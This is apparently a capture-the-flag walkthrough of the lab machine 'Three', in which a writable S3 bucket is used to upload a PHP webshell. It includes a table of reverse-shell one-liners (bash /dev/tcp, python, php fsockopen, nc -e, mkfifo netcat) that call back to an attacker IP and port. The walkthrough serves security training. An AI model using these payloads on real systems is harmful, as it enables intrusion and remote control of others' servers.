Three introduces cloud security fundamentals through an attack chain that combines subdomain enumeration, discovery of a misconfigured public AWS S3 bucket, uploading a PHP webshell, and catching a reverse shell. This machine is particularly relevant to modern security — cloud storage misconfigurations are among the most prevalent real-world findings, and the ability to weaponise a writable S3 bucket for code execution is a critical skill.
| Skill | Why it matters |
|---|---|
| Subdomain enumeration | Subdomains often expose dev/staging environments with weaker security |
| S3 bucket enumeration via awscli | Public S3 buckets are a top cloud misconfiguration — writable ones enable file upload |
| PHP webshell upload | Uploading executable code to a web-accessible location is the classic web shell path |
| Reverse shell with netcat | Turning command execution into an interactive shell is a core post-exploitation skill |
Port 80 runs a website. Inspect the page source for any hints about the domain or subdomains — you'll find a contact email that reveals the domain: thetoppers.htb.
What you're seeing: an S3-style subdomain — s3.thetoppers.htb. This is a LocalStack or self-hosted S3-compatible endpoint. Add it to /etc/hosts and interact with it using the AWS CLI.
What you're seeing: the S3 bucket contains the web application files — including index.php. The website is being served directly from this S3 bucket. If you can upload a PHP file, it will be executable via the web server.
| Payload | Notes |
|---|---|
| bash -i >& /dev/tcp/IP/PORT 0>&1 | Most reliable on Linux — requires bash |
| python3 -c 'import socket,subprocess...' | Works when bash is restricted, Python available |
| php -r '$sock=fsockopen("IP",PORT);...' | PHP one-liner — useful in webshell context |
| nc -e /bin/sh IP PORT | Netcat with -e flag (not available on all versions) |
| rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP PORT>/tmp/f | FIFO-based — works on netcat without -e |
S3 buckets hosting web application files are a critical misconfiguration. If the bucket is writable, the website is fully compromised — any uploaded PHP file becomes executable code running on the server.
| Concept | Real-world relevance |
|---|---|
| S3 public write access | One of the most impactful cloud misconfigs — check bucket ACLs and block public access settings |
| Subdomain enumeration | Dev/staging subdomains regularly expose admin panels, internal APIs, and cloud storage endpoints |
| Webshell → reverse shell | A webshell gives command execution, but a reverse shell gives an interactive session — always upgrade |
| awscli with --no-sign-request | Public S3 resources don't require AWS credentials — the --no-sign-request flag bypasses auth entirely |